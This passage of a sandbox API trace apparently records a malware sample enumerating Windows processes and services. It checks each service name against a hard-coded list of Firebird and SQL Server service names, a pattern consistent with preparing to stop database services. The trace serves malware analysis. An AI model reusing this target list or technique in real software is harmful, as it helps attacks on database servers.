th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0192.974] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0192.974] Process32NextW (in: hSnapshot=0x30c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0192.975] lstrlenW (lpString="cmd.exe") returned 7 [0192.975] Process32NextW (in: hSnapshot=0x30c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xfa8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0192.975] lstrlenW (lpString="cmd.exe") returned 7 [0192.975] Process32NextW (in: hSnapshot=0x30c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xfb4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0192.976] lstrlenW (lpString="conhost.exe") returned 11 [0192.976] Process32NextW (in: hSnapshot=0x30c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xfbc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0192.976] lstrlenW (lpString="conhost.exe") returned 11 [0192.976] Process32NextW (in: hSnapshot=0x30c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xfbc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0192.977] CloseHandle (hObject=0x30c) returned 1 [0192.977] Sleep (dwMilliseconds=0x1f4) [0194.123] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69dcd8 [0194.144] EnumServicesStatusExW (in: hSCManager=0x69dcd8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0194.144] GetLastError () returned 0xea [0194.144] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1bc4) returned 0x3f280b0 [0194.144] EnumServicesStatusExW (in: hSCManager=0x69dcd8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f280b0, cbBufSize=0x1bc4, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f280b0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0194.145] CloseServiceHandle (hSCObject=0x69dcd8) returned 1 [0194.145] lstrlenW (lpString="Appinfo") returned 7 [0194.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0194.146] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0194.146] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0194.146] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0194.146] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0194.146] lstrlenW (lpString="AppXSvc") returned 7 [0194.146] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0194.146] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0194.146] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0194.146] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0194.146] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0194.146] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0194.146] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0194.146] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0194.146] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0194.146] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0194.146] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0194.146] lstrlenW (lpString="Audiosrv") returned 8 [0194.146] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0194.146] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0194.146] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0194.146] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0194.146] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0194.146] lstrlenW (lpString="BFE") returned 3 [0194.146] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0194.146] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0194.146] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0194.146] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0194.146] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0194.146] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0194.146] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0194.146] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0194.146] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0194.146] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0194.146] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0194.146] lstrlenW (lpString="CDPSvc") returned 6 [0194.146] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0194.147] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0194.147] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0194.147] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0194.147] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0194.147] lstrlenW (lpString="ClickToRunSvc") returned 13 [0194.147] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0194.147] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0194.147] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0194.147] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0194.147] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0194.147] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0194.147] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0194.147] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0194.147] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0194.147] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0194.147] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0194.147] lstrlenW (lpString="CryptSvc") returned 8 [0194.147] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0194.147] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0194.147] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0194.147] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0194.147] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0194.147] lstrlenW (lpString="DcomLaunch") returned 10 [0194.147] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0194.147] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0194.147] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0194.147] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0194.147] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0194.147] lstrlenW (lpString="DeviceAssociationService") returned 24 [0194.147] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0194.147] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0194.147] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0194.147] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0194.147] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0194.147] lstrlenW (lpString="Dhcp") returned 4 [0194.147] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0194.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0194.148] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0194.148] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0194.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0194.148] lstrlenW (lpString="Dnscache") returned 8 [0194.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0194.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0194.148] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0194.148] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0194.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0194.148] lstrlenW (lpString="DPS") returned 3 [0194.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0194.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0194.148] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0194.148] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0194.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0194.148] lstrlenW (lpString="DusmSvc") returned 7 [0194.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0194.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0194.148] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0194.148] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0194.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0194.148] lstrlenW (lpString="EventLog") returned 8 [0194.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0194.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0194.148] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0194.148] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0194.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0194.148] lstrlenW (lpString="EventSystem") returned 11 [0194.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0194.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0194.148] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0194.148] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0194.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0194.148] lstrlenW (lpString="FontCache") returned 9 [0194.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0194.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0194.149] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0194.149] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0194.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0194.149] lstrlenW (lpString="gpsvc") returned 5 [0194.149] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0194.149] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0194.149] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0194.149] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0194.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0194.149] lstrlenW (lpString="iphlpsvc") returned 8 [0194.149] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0194.149] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0194.149] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0194.149] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0194.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0194.149] lstrlenW (lpString="KeyIso") returned 6 [0194.149] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0194.149] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0194.149] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0194.149] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0194.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0194.149] lstrlenW (lpString="LanmanServer") returned 12 [0194.149] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0194.149] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0194.149] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0194.149] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0194.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0194.149] lstrlenW (lpString="LanmanWorkstation") returned 17 [0194.149] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0194.149] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0194.149] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0194.149] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0194.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0194.149] lstrlenW (lpString="lfsvc") returned 5 [0194.149] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0194.149] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0194.149] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0194.150] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0194.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0194.150] lstrlenW (lpString="lmhosts") returned 7 [0194.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0194.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0194.150] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0194.150] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0194.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0194.150] lstrlenW (lpString="LSM") returned 3 [0194.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0194.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0194.150] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0194.150] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0194.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0194.150] lstrlenW (lpString="MpsSvc") returned 6 [0194.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0194.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0194.150] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0194.150] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0194.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0194.150] lstrlenW (lpString="NcbService") returned 10 [0194.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0194.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0194.150] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0194.150] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0194.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0194.150] lstrlenW (lpString="netprofm") returned 8 [0194.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0194.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0194.150] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0194.150] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0194.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0194.150] lstrlenW (lpString="NgcSvc") returned 6 [0194.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0194.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0194.150] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0194.151] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0194.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0194.151] lstrlenW (lpString="NlaSvc") returned 6 [0194.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0194.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0194.151] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0194.151] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0194.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0194.151] lstrlenW (lpString="nsi") returned 3 [0194.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0194.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0194.151] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0194.151] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0194.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0194.151] lstrlenW (lpString="PcaSvc") returned 6 [0194.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0194.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0194.151] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0194.151] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0194.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0194.151] lstrlenW (lpString="PlugPlay") returned 8 [0194.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0194.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0194.151] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0194.151] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0194.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0194.151] lstrlenW (lpString="Power") returned 5 [0194.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0194.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0194.151] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0194.151] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0194.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0194.151] lstrlenW (lpString="ProfSvc") returned 7 [0194.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0194.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0194.151] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0194.152] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0194.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0194.152] lstrlenW (lpString="RpcEptMapper") returned 12 [0194.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0194.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0194.152] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0194.152] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0194.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0194.152] lstrlenW (lpString="RpcSs") returned 5 [0194.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0194.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0194.152] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0194.152] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0194.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0194.152] lstrlenW (lpString="SamSs") returned 5 [0194.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0194.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0194.152] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0194.152] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0194.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0194.152] lstrlenW (lpString="Schedule") returned 8 [0194.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0194.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0194.152] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0194.152] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0194.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0194.152] lstrlenW (lpString="SecurityHealthService") returned 21 [0194.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0194.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0194.152] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0194.152] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0194.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0194.152] lstrlenW (lpString="SENS") returned 4 [0194.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0194.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0194.152] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0194.152] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0194.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0194.153] lstrlenW (lpString="ShellHWDetection") returned 16 [0194.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0194.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0194.153] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0194.153] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0194.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0194.153] lstrlenW (lpString="Spooler") returned 7 [0194.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0194.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0194.153] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0194.153] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0194.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0194.153] lstrlenW (lpString="StateRepository") returned 15 [0194.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0194.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0194.153] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0194.153] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0194.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0194.153] lstrlenW (lpString="SysMain") returned 7 [0194.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0194.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0194.153] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0194.153] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0194.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0194.153] lstrlenW (lpString="SystemEventsBroker") returned 18 [0194.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0194.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0194.153] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0194.153] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0194.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0194.153] lstrlenW (lpString="Themes") returned 6 [0194.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0194.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0194.153] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0194.153] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0194.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned 